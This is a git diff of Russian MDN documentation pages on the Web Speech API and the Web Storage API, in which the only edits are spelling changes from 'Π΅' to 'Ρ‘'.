+<h4 id="ΠžΠ·Π²ΡƒΡ‡ΠΊΠ°_Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ_тСкста">ΠžΠ·Π²ΡƒΡ‡ΠΊΠ° Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ тСкста</h4>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ β€œΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡΠΈΡ‚ΡŒβ€ тСкст, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² тСкстовом ΠΏΠΎΠ»Π΅, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <code>Enter/Return</code> ΠΈΠ»ΠΈ Π½Π°Β <code>Play</code>. Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> Π² html-Ρ„ΠΎΡ€ΠΌΡ‹. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ <code>speak()</code>Β ΠΌΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, пСрСдавая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ тСкстового поля Π² конструктор.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ β€œΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡΠΈΡ‚ΡŒβ€ тСкст, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² тСкстовом ΠΏΠΎΠ»Π΅, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <code>Enter/Return</code> ΠΈΠ»ΠΈ Π½Π°Β <code>Play</code>. Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> Π² html-Ρ„ΠΎΡ€ΠΌΡ‹. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ <code>speak()</code>Β ΠΌΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, пСрСдавая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ тСкстового поля Π² конструктор.</p>
-<p dir="ltr">Π—Π°Ρ‚Π΅ΠΌ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ голос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получСния Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">&lt;option&gt;</a></code>, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π΅Ρ€Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ data-name, ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π³ΠΎΡΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°. ПослС этого устанавливаСм ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ β€œΠ³ΠΎΠ»ΠΎΡΠΎΠ²ΠΎΠΉβ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p>
+<p dir="ltr">Π—Π°Ρ‚Π΅ΠΌ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ голос ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получСния Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">&lt;option&gt;</a></code>, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π΅Ρ€Ρ‘ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ data-name, ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π³ΠΎΡΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°. ПослС этого устанавливаСм ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ β€œΠ³ΠΎΠ»ΠΎΡΠΎΠ²ΠΎΠΉβ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p>
<p>НаконСц, ΠΌΡ‹ устанавливаСм <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/pitch">SpeechSynthesisUtterance.pitch</a></code> (высота Ρ‚ΠΎΠ½Π°) ΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/rate">SpeechSynthesisUtterance.rate</a></code> (ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ) Π² соотвСтствии со значСниями ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… элСмСнтов Ρ„ΠΎΡ€ΠΌΡ‹. Π—Π°Ρ‚Π΅ΠΌ, послС всСго ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π½Π½ΠΎΠ³ΠΎ, ΠΌΡ‹ запускаСм ΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Ρ€Π΅Ρ‡ΠΈ, вызывая <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speak">SpeechSynthesis.speak()</a></code>, ΠΈ пСрСдавая Π΅ΠΌΡƒ экзСмпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance">SpeechSynthesisUtterance</a></code> Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
@@ -353,7 +353,7 @@ let voices = [];</pre>
<p>Π’ послСднСй части Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/onpause">SpeechSynthesisUtterance.onpause</a></code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ примСнСния <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisEvent">SpeechSynthesisEvent</a></code> Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ситуациях. Π’Ρ‹Π·ΠΎΠ² <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/pause">SpeechSynthesis.pause() </a></code>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сообщСниС с ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π΅ символа ΠΈ словС, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π° ΠΏΠ°ΡƒΠ·Π°.</p>
-<p>НаконСц, ΠΌΡ‹ Π½Π°Π·ΠΎΠ²Π΅ΠΌ <code>blur()</code> у тСкстового поля. Π­Ρ‚ΠΎ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ Π² ОБ Firefox.</p>
+<p>НаконСц, ΠΌΡ‹ Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ <code>blur()</code> у тСкстового поля. Π­Ρ‚ΠΎ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ Π² ОБ Firefox.</p>
<pre>function speak() {
if (synth.speaking) {
diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html
index e162603b6b..63f15e9736 100644
--- a/files/ru/web/api/web_storage_api/index.html
+++ b/files/ru/web/api/web_storage_api/index.html
@@ -14,14 +14,14 @@ translation_of: Web/API/Web_Storage_API
<li><code>локальноС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ (localStorage)</code>Β Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС, Π½ΠΎ сохраняСт Π΄Π°Π½Π½Ρ‹Π΅ Π΄Π°ΠΆΠ΅ Π² случаС, Ссли ΠΏΠ΅Ρ€Π΅ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.Β </li>
</ul>
-<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ доступны Ρ‡Π΅Ρ€Π΅Π·Β Β {{domxref("Window.sessionStorage")}} ΠΈ {{domxref("Window.localStorage")}} свойства (Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Window</code>Β  Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code>WindowLocalStorage</code> ΠΈΒ <code>WindowSessionStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат свойства <code>localStorage</code> ΠΈΒ <code>sessionStorage</code>) β€” Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… создаСт ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("Storage")}}, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Ρ‚ΠΈΠΏΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ ΠΈ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒΒ Π΄ΠΎΠΌΠ΅Π½ΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС Storage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Β - ΠΎΠ½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°.Β </p>
+<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ доступны Ρ‡Π΅Ρ€Π΅Π·Β Β {{domxref("Window.sessionStorage")}} ΠΈ {{domxref("Window.localStorage")}} свойства (Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Window</code>Β  Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code>WindowLocalStorage</code> ΠΈΒ <code>WindowSessionStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат свойства <code>localStorage</code> ΠΈΒ <code>sessionStorage</code>) β€” Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… создаёт ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("Storage")}}, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Ρ‚ΠΈΠΏΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ ΠΈ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒΒ Π΄ΠΎΠΌΠ΅Π½ΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС Storage ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Β - ΠΎΠ½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°.Β </p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Начиная с вСрсии 45 Firefox, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ/пСрСзагруТаСтся, объСм Π΄Π°Π½Π½Ρ‹Ρ…, сохранСнных для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ источника, ограничиваСтся 10 ΠœΠ‘. Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ сдСлано, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Ρ… Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½Ρ‹ΠΌ использованиСм Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Начиная с вСрсии 45 Firefox, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ/пСрСзагруТаСтся, объСм Π΄Π°Π½Π½Ρ‹Ρ…, сохранённых для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ источника, ограничиваСтся 10 ΠœΠ‘. Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ сдСлано, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Ρ… Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½Ρ‹ΠΌ использованиСм Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°.</p>
</div>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Доступ ΠΊ Π²Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Ρƒ ΠΈΠ· iFrame Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ стороны Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΒ <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ» cookies Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ… сторон</a>Β (Firefox Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">вСрсии 43</a>).</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Доступ ΠΊ Π²Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Ρƒ ΠΈΠ· iFrame Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ стороны Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΒ <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ» cookies Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ… сторон</a>Β (Firefox Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">вСрсии 43</a>).</p>
</div>
<div class="note">
@@ -41,7 +41,7 @@ translation_of: Web/API/Web_Storage_API
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ΅ использованиС Π²Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°, ΠΌΡ‹ создали ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ Π½Π°Π·Π²Π°Π»ΠΈ Π΅Π³ΠΎΒ <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">Π»Π΅Π½Π΄ΠΈΠ½Π³Π΅</a> нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²Ρ‹ найдСтС элСмСнты управлСния для измСнСния Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°, ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ изобраТСния. Когда Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, страница ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ мСняСтся. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ваш Π²Ρ‹Π±ΠΎΡ€ сохраняСтся Π² локальном Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹, Ссли Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚Π΅ страницу ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π΅ снова, ваши настройки Π²ΠΎΡΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ.Β </p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ΅ использованиС Π²Π΅Π± Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°, ΠΌΡ‹ создали ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ Π½Π°Π·Π²Π°Π»ΠΈ Π΅Π³ΠΎΒ <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">Π»Π΅Π½Π΄ΠΈΠ½Π³Π΅</a> нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²Ρ‹ найдётС элСмСнты управлСния для измСнСния Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°, ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ изобраТСния. Когда Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, страница ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ мСняСтся. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ваш Π²Ρ‹Π±ΠΎΡ€ сохраняСтся Π² локальном Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹, Ссли Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚Π΅ страницу ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Ρ‘ снова, ваши настройки Π²ΠΎΡΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ.Β </p>
<p>Π’Π°ΠΊΠΆΠ΅, ΠΌΡ‹ сдСлали <a href="http://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a>, которая Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΊΠΎΠ³Π΄Π° срабатываСт событиС {{domxref("StorageEvent")}}. Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ эту страницу Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π·Π°Ρ‚Π΅ΠΌ Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ΡΡŒ Π½Π° Π»Π΅Π½Π΄ΠΈΠ½Π³ ΠΈ помСняйтС значСния Ρ†Π²Π΅Ρ‚Π°, ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ изобраТСния ΠΈ ΠΏΠΎΠ½Π°Π±Π»ΡŽΠ΄Π°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ мСняСтся выводимая информация.</p>
@@ -120,7 +120,7 @@ translation_of: Web/API/Web_Storage_API
</table>
</div>
